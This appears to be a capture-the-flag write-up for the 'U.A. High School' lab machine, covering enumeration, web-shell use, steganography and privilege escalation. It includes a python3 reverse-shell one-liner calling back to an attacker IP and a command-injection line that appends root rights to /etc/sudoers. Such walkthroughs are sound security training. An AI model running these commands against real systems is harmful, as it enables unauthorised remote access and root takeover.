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U.A. High School

U.A. High School

Last modified: 2024-09-13 21:35:58

Machine name OS IP Difficulty
U.A. High School Linux 10.10.49.233 Easy

User

  1. Check if the host is responding

First, let's verify that we can reach the host using a simple ping command:

└─# ping 10.10.123.50
PING 10.10.123.50 (10.10.123.50) 56(84) bytes of data.
64 bytes from 10.10.123.50: icmp_seq=33 ttl=61 time=562 ms
64 bytes from 10.10.123.50: icmp_seq=34 ttl=61 time=553 ms
  1. Check the running services

Let's check all running services and their versions using the nmap command:

└─# nmap -sV -sC 10.10.123.50 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.123.50
Host is up (0.58s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
|   256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_  256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.06 seconds

The output shows that there are 2 running services with opened ports:

The operating system of the machine is probably Linux Ubuntu (based on the Apache service and OpenSSH; we will verify this later).

  1. Examine the web application running on port 80
└─# whatweb http://10.10.123.50
http://10.10.123.50 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.123.50], Title[U.A. High School]

Technologies used:

Main page:

There are a few more pages, all with a .html extension. There is also a contact.html page with a form, but the form sends a POST request to itself. Since the page is an .html file with no backend code to process the request, we can skip this form:

So, let's try to enumerate further.

  1. Further enumeration

Using feroxbuster, we can attempt to enumerate and discover some paths. The wordlist I used was from SecLists. There is only one .php file, but it is empty:

Another good enumeration tool is dirsearch, and we can try running this tool on the only .php file available on the webpage:

dirsearch -u http://10.10.123.50/assets/index.php

| NOTE: dirsearch uses its own wordlist by default. On Kali Linux, it should be located in /usr/lib/python3/dist-packages/dirsearch/db/dicc.txt if installed using apt.

And this enumeration found an interesting path:

/assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir

It returns a Base64-encoded string, which is the output of the dir shell command.

We have a web shell in place; let's initiate a reverse shell.

  1. Reverse shell

To create a reverse shell, we can use Reverse Shell Generator. I prefer using python3, so I will execute this command:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.92.58",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Start the listener using the following command:

nc -nvlp 8888

Insert the reverse shell code into the cmd query parameter. The final URL will look like this:

http://10.10.123.50/assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.4.92.58%22,8888));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27&constructor[prototype][a42e5579]=tnqs3a2w&constructor.prototype.b1a3fd5b=tnqs3a2w&__proto__.ccd80966=tnqs3a2w&__proto__[dcb52823]=tnqs3a2w#constructor[prototype][a3aa3232]=tnqs3a2w&constructor.prototype.bf1e103d=tnqs3a2w&__proto__.c5e2cbce=tnqs3a2w&__proto__[d0992d86]=tnqs3a2w

Now, we have a reverse shell as www-data:

Next, let's try downloading all the web pages on the server and search for relevant information.

  1. Inspect the source code of web pages

To download the source code from the target, first, let's start an HTTP server on the target machine using python3:

python3 -m http.server 19000

Then, download it to our machine using wget:

wget -r http://10.10.123.50:19000

| NOTE: For some reason, one image won't download, so you will need to download it using the command: wget http://10.10.123.50:19000/html/assets/images/oneforall.jpg.

Now, we can go through the source code. There is an interesting file inside the Hidden_Content folder called passphrase.txt, which contains a Base64-encoded password: AllmightForEver!!!. However, this password doesn't work for the root or any other user on the machine. Let's continue searching. In the folder html/assets/images/, there is an image called oneforall.jpg. This image is not used on the webpage; only an image named yuei.jpg is displayed as the background. Let's investigate the oneforall.jpg image further.

  1. Investigate the image

If we examine the image using exiftool, it indicates that the image is a PNG, but the file extension is .jpg, which is unusual. Additionally, the image cannot be opened as it appears to be corrupted:

Let's try to fix it by changing the magic bytes. On this webpage, we can see that PNG files start with these bytes: 89 50 4E 47 0D 0A 1A 0A, while JPG files begin with these bytes: FF D8 FF E0. We'll attempt to change the magic bytes to the JPG signature using hexedit:

| NOTE: To exit hexedit, use the shortcut CTRL+X and press y.

And now, we can open the image:

But what now? The first thing that came to mind was Steganography. Since the image is a JPG and we have the passphrase, let's check if there is something hidden inside the file:

| NOTE: To extract the hidden message, we can use a tool called steghide with the command: steghide extract -sf oneforall.jpg.

And there are credentials for a user on the machine!

  1. User flag

We can now SSH into the machine as the user deku, and the user flag is located in /home/deku/user.txt.

Root

  1. Check sudo privileges

First, we can check the user's sudo privileges:

And we can run the script located at /opt/NewComponent/feedback.sh with sudo privileges.

Let's investigate this file.

  1. Inspect the shell script

This shell script reads user input and passes it into the eval function as an argument for the echo command:

However, there is a type of filter (if statement). This filter blocks certain characters like the ` and $() used for inner shell command. These filters are reventing us from appending another command behind echo: &, |, and ;, which are also blocked. We need to find another approach, and characters like ", and > are not blocked, allowing us to edit files with root permissions. Therefore, we can modify the /etc/sudoers file to escalate privileges.

  1. Escalate privileges

We can run the script and input the following:

"deku   ALL=ALL" >> /etc/sudoers

This approach grants root privileges for any command we need to execute. With this, we can essentially run sudo -i to start a shell as root.

  1. Root flag

The root flag is located in /root/root.txt.

Assumptions verifications

  1. Running OS

We assumed, based on the OpenSSH version, that the running OS is Ubuntu. Let's verify it using the uname -a and cat /etc/os-release commands:

root@myheroacademia:~# uname -a
Linux myheroacademia 5.4.0-153-generic #170-Ubuntu SMP Fri Jun 16 13:43:31 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

root@myheroacademia:~# cat /etc/os-release 
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Running OS - Ubuntu 20.04.6 LTS.

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